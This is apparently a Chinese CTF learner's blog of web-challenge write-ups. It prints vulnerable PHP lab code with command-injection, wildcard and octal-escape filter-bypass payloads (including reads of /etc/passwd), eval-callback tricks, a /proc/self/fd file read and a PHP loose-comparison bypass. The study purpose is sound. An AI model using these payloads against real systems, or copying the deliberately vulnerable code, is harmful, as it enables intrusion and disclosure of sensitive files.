以此文记录我在学习CTF中的心路历程,日拱一卒,功不唐捐。
一、WEB学习目录
工具篇:
WEB的常用工具有: BurpSuite(一款常用的抓包工具,应用广泛,文件上传必不可少的利器) Hackerbar(浏览器插件,传参的好帮手) 蚁剑(连接工具) 还有许许多多的部署在Linux上的工具,……这里的东西就以后再来探索吧() ### 拥有了入门的工具,就可以步入WEB的世界力(喜)
WEB包括哪些内容:
1.文件包含 2.文件上传
[!NOTE]
更新:2026年3月8日
慢慢意识到自己当初基础非常的薄弱,以前也没怎么好好刷题
这个博客用来记录从零开始学web的做题记录
CTF show
web签到题
F12 查看前端,在HTML中看到base64加密的flag
RCE-labs-level4
<?
/*
&&(逻辑与运算符): 只有当第一个命令 cmd_1 执行成功(返回值为 0)时,才会执行第二个命令 cmd_2。例: mkdir test && cd test
||(逻辑或运算符): 只有当第一个命令 cmd_1 执行失败(返回值不为 0)时,才会执行第二个命令 cmd_2。例: cd nonexistent_directory || echo "Directory not found"
&(后台运行符): 将命令 cmd_1 放到后台执行,Shell 立即执行 cmd_2,两个命令并行执行。例: sleep 10 & echo "This will run immediately."
;(命令分隔符): 无论前一个命令 cmd_1 是否成功,都会执行下一个命令 cmd_2。例: echo "Hello" ; echo "World"
*/
function hello_server($ip){
system("ping -c 1 $ip");
}
isset($_GET['ip']) ? hello_server($_GET['ip']) : null;
highlight_file(__FILE__);
?>
在这道题中,默认只有传递 ip||ls 可以成功执行,原因是 Payload在到达服务器并最终执行的过程中,经过了HTTP 解析层 和 Linux Shell 逻辑层 的双重处理,在 URL 中,& 符号有着特殊含义,它是不同 GET 参数之间的分隔符,所以在传递的时候必须将&进行URL编码才能执行成功,;同理。
RCE-labs-level5
<?
/*
在Shell中,单/双引号 "/' 可以用来定义一个空字符串或保护包含空格或特殊字符的字符串。
例如:echo "$"a 会输出 $a,而 echo $a 会输出变量a的值,当只有""则表示空字符串,Shell会忽略它。
*(星号): 匹配零个或多个字符。例子: *.txt。
?(问号): 匹配单个字符。例子: file?.txt。
[](方括号): 匹配方括号内的任意一个字符。例子: file[1-3].txt。
[^](取反方括号): 匹配不在方括号内的字符。例子: file[^a-c].txt。
{}(大括号): 匹配大括号内的任意一个字符串。例子: file{1,2,3}.txt。
通过组合上述技巧,我们可以用于绕过CTF中一些简单的过滤:
system("c''at /e't'c/pass?d");
system("/???/?at /e't'c/pass?d");
system("/???/?at /e't'c/*ss*");
...
*/
function hello_shell($cmd){
if(preg_match("/flag/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
payload: ?cmd=cat /f*
RCE-labs-level6
<?
function hello_shell($cmd){
if(preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
这道题可以用上面的通配符进行绕过,可以看到这里过滤了除了字母a和数字以外所有的大小写字母,没过滤/ 所以可以cmd=/???/?a? /??a? 用于匹配根目录下三个字符的目录(如 /bin、/etc)中,文件名长度为三个字符且中间字符为 a 的文件,常见的有 /bin/cat、/bin/tar、/bin/man 等。
/??a?:匹配根目录下四个字符的文件名,且第三个字符为 a,即/flag,用这个会输出很多其他的东西;
也可以使用/???/?a??64 /??a?,即/bin/base64 /flag这个能只匹配到/flag,然后使用base64输出
/bin 目录是存放系统启动和单用户模式下必需的核心可执行文件,这些文件对所有用户(包括普通用户和 root)都可用,包含最基础的命令,如 ls(列出目录)、cp(复制文件)、mv(移动文件)、sh(Shell 解释器)等。
RCE-labs-level7
<?
/*
在遇到空格被过滤的情况下,通常使用 %09 也就是TAB的URL编码来绕过,在终端环境下 空格 被视为一个命令分隔符,本质上由 $IFS 变量控制,而 $IFS 的默认值是空格、制表符和换行符,所以我们还可以通过直接键入 $IFS 来绕过空格过滤。
*/
function hello_shell($cmd){
if(preg_match("/flag| /", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
payload : ?cmd=cat$IFS/f*
RCE-labs-level2
<?php
include ("get_flag.php");
global $flag;
session_start(); // 开启 session
/*
除开在一句话木马中最受欢迎用以直接执行PHP代码的 eval() 函数,PHP还有许多 回调函数 也可以直接或者间接的执行PHP代码。
*/
function hello_ctf($function, $content){
global $flag;
$code = $function . "(" . $content . ");";
echo "Your Code: $code <br>";
eval($code);
}
function get_fun(){
$func_list = ['eval','assert','call_user_func','create_function','array_map','call_user_func_array','usort','array_filter','array_reduce','preg_replace'];
if (!isset($_SESSION['random_func'])) {
$_SESSION['random_func'] = $func_list[array_rand($func_list)];
}
$random_func = $_SESSION['random_func'];
$url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);
echo "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";
return $_SESSION['random_func'];
}
function start($act){
$random_func = get_fun();
if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */
session_unset();
session_destroy();
}
if ($act == "submit"){
$user_content = $_POST['content'];
hello_ctf($random_func, $user_content);
}
}
isset($_GET['action']) ? start($_GET['action']) : '';
highlight_file(__FILE__);
?>
flag放进了变量$flag中,random_func中的函数都是可以通过回调等方式进行输出flag的值
官方WP中是这样写的:
函数
说明
示例代码
${}用于复杂的变量解析,通常在字符串内用来解析变量或表达式。可以配合
eval或其他动态执行代码的功能,用于间接执行代码。eval('${flag}'); eval()用于执行一个字符串作为 PHP 代码。可以执行任何有效的 PHP 代码片段。没有返回值,除非在执行的代码中明确返回。
eval('echo $flag;'); assert()测试表达式是否为真。PHP 8.0.0 之前,如果
assertion是字符串,将解释为 PHP 代码并通过eval()执行。PHP 8.0.0 后移除该功能。assert(print_r($flag)); call_user_func()用于调用回调函数,可以传递多个参数给回调函数,返回回调函数的返回值。适用于动态函数调用。
call_user_func('print_r', $flag); create_function()创建匿名函数,接受两个字符串参数:参数列表和函数体。返回一个匿名函数的引用。自 PHP 7.2.0 起被_废弃_,并自 PHP 8.0.0 起被_移除_。
create_function('$a', 'echo $flag;')($a); array_map()将回调函数应用于数组的每个元素,返回一个新数组。适用于转换或处理数组元素。
array_map(print_r($flag), $a); call_user_func_array()调用回调函数,并将参数作为数组传递。适用于动态参数数量的函数调用。
call_user_func_array(print_r($flag), array()); usort()对数组进行自定义排序,接受数组和比较函数作为参数。适用于根据用户定义的规则排序数组元素。
usort($a,print_r($flag)); array_filter()过滤数组元素,如果提供回调函数,仅包含回调返回真值的元素;否则,移除所有等同于false的元素。适用于基于条件移除数组中的元素。
array_filter($a,print_r($flag)); array_reduce()迭代一个数组,通过回调函数将数组的元素逐一减少到单一值。接受数组、回调函数和可选的初始值。
array_reduce($a,print_r($flag)); preg_replace()执行正则表达式的搜索和替换。可以是单个字符串或数组。适用于基于模式匹配修改文本内容。依赖 /e 模式,该模式自 PHP7.3 起被取消。
preg_replace('/(.*)/ei', 'strtolower("\\1")', ${print_r($flag)}); ob_start()ob_start — 打开输出控制缓冲,可选回调函数作为参数来处理缓冲区内容。
ob_start(print_r($flag));
RCE-labs-level9
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_八进制转义 ---
题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用
从该关卡开始你会发现我们在Dockerfile中添加了一行改动:
RUN ln -sf /bin/bash /bin/sh
这是由于在PHP中,system是执行sh的,sh通常只是一个软连接,并不是真的有一个shell叫sh。在debian系操作系统中,sh指向dash;在centos系操作系统中,sh指向bash,我们用的底层镜像 php:7.3-fpm-alpine 默认指向的 /bin/busybox ,要验证这一点,你可以对 /bin/sh 使用 ls -l 命令查看,在这个容器中,你会得到下面的回显:
bash-5.1# ls -l /bin/sh
lrwxrwxrwx 1 root root 12 Mar 16 2022 /bin/sh -> /bin/busybox
我们需要用到的特性只有bash才支持,请记住这一点,这也是我们手动修改指向的原因。
在这个关卡主要利用的是在终端中,$'\xxx'可以将八进制ascii码解析为字符,仅基于这个特性,我们可以将传入的命令的每一个字符转换为$'\xxx\xxx\xxx\xxx'的形式,但是注意,这种方式在没有空格的情况下无法执行带参数的命令。
比如"ls -l"也就是$'\154\163\40\55\154' 只能拆分为$'\154\163' 空格 $'\55\154'三部分。
bash-5.1# $'\154\163\40\55\154'
bash: ls -l: command not found
bash-5.1# $'\154\163' $'\55\154'
total 4
-rw-r--r-- 1 www-data www-data 829 Aug 14 19:39 index.php
*/
function hello_shell($cmd){
if(preg_match("/[A-Za-z\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
payload: ?cmd=$'\143\141\164' $'\57\146\154\141\147'
RCE-labs-level10
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_二进制整数替换 ---
题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用
本关卡的考点为终端中支持 $((2#binary)) 解析二进制数据。
*/
function hello_shell($cmd){
if(preg_match("/[A-Za-z2-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
青岑/web入门/basic_14
<?php
highlight_file(__FILE__);
$flag = fopen('/admin_secret.txt', 'r');
if (isset($_GET['filename']) && strlen($_GET['filename']) < 17) {
readfile($_GET['filename']);
} else {
echo "The filename parameter does not exist or the filename is too long";
}
?>
最开始我尝试的方向是绕过strlen()函数,通过搜索得知当传递数组时会抛出 Warning 警告,函数返回 null,此时长度的限制似乎是绕过了,但readfile()无法解析数组
后来问了AI,得知这道题的考点是 Linux /proc文件系统与文件描述符的利用:
由于:
$flag = fopen('/admin_secret.txt', 'r');
这行代码的作用是以只读方式打开目标文件,并将文件句柄赋值给 $flag.在脚本执行期间,这个文件处于被打开的状态.
在Linux系统中,当一个进程打开一个文件时,系统会在 /proc/self/fd/目录下为该文件创建一个符号链接,链接的名称及是文件描述符( File Descriptor) 的数字.
所以这里目标文件以及被当前PHP进程打开,我们只需要读 /proc/self/fd 加对应的数字,就可以读取admin_secret.txt了
所以可以?filename=/proc/self/fd/1 从1开始一直试 就能拿到flag
另外,也可以用?filename=/dev/fd/来读取
因为/dev/fd本质是/proc/self/fd的软链接(快捷方式),在linux系统中,/dev/fd是一个指向/proc/self/fd的符号链接
ls -l /dev/fd
lrwxrwxrwx root root 13 B Fri Jun 19 09:52:23 2026 /dev/fd ⇒ /proc/self/fd
所以如果字符长度进一步限制的话,就可以使用/dev/fd来读文件了.
青岑/web入门/ezphp_2
<?php
show_source(__FILE__);
include("flag.php");
if (!isset($_GET['qc']) || $_GET['qc'] === '') exit("no");
$qc = (array)json_decode($_GET['qc'], true);
if (!isset($qc["n"]) || !is_array($qc["n"]) || empty($qc["n"])) die("no");
if (array_search("QCCTF", $qc) === false) die("no...");
if (array_search("QCyyds", $qc["n"]) === false) die("no...");
foreach ($qc["n"] as $val) {
if ($val === "QCyyds") die("no......");
}
echo $flag;
代码逻辑分析
我们要拿到 $flag,必须依次绕过以下几个检查:
- 存在且非空:
qc参数必须存在且不能是空字符串。 - JSON 解码与结构:
qc必须是一个合法的 JSON 字符串,解码后必须包含键"n",且"n"的值必须是一个非空数组。 - 顶层查找 “QCCTF”:
array_search("QCCTF", $qc) === false会返回假(即必须找到)。这意味着在$qc这个数组中,必须有一个值等于"QCCTF"。 - 内层查找 “QCyyds”:
array_search("QCyyds", $qc["n"]) === false同理,在$qc["n"]数组中,必须有一个值等于"QCyyds"。 - 严格排除 “QCyyds”:
foreach循环检查$qc["n"]中不能存在全等于 (===) 字符串"QCyyds"的元素。
这里的关键在于 array_search() 函数。在 PHP 中,array_search() 默认使用的是松散比较 (==)。
在 PHP 松散比较中,任何字符串与数字 0 比较时,字符串会被强制转换为数字。而非数字开头的字符串(如 "QCCTF", "QCyyds")转换成数字后就是 0。
因此:
0 == "QCCTF"结果为 True0 == "QCyyds"结果为 True
但是,全等于比较时类型不同:
0 === "QCyyds"结果为 False
根据以上分析,我们可以用整数 0 来代替字符串,完美绕过所有的 array_search 和 foreach 限制。
我们需要构造的 PHP 数组结构如下:
$qc = [
"n" => [0], // "n" 是一个包含 0 的数组。0 == "QCyyds" 为真,但 0 === "QCyyds" 为假。
"x" => 0 // 随便给一个顶层键,值为 0,用于绕过 0 == "QCCTF"。
];
将这个数组转为 JSON 字符串:
{"n":[0],"x":0}
将这个 JSON 字符串作为 qc 参数的值发送
最终 GET 请求:
?qc={"n":[0],"x":0}
当你传入 ?qc={"n":[0],"x":0} 时:
isset($_GET['qc'])为真,非空,继续。json_decode解析成功,$qc["n"]是数组[0],非空,继续。array_search("QCCTF", $qc):在$qc的值([0]和0)中找"QCCTF"。因为0 == "QCCTF"为真,找到了,返回键名,不等于false,继续。array_search("QCyyds", $qc["n"]):在$qc["n"]的值(0)中找"QCyyds"。因为0 == "QCyyds"为真,找到了,返回键名 0,不等于false,继续。foreach循环:检查$qc["n"]中的元素0是否=== "QCyyds"。因为0 === "QCyyds"为假,不退出,继续。- 成功走到
echo $flag;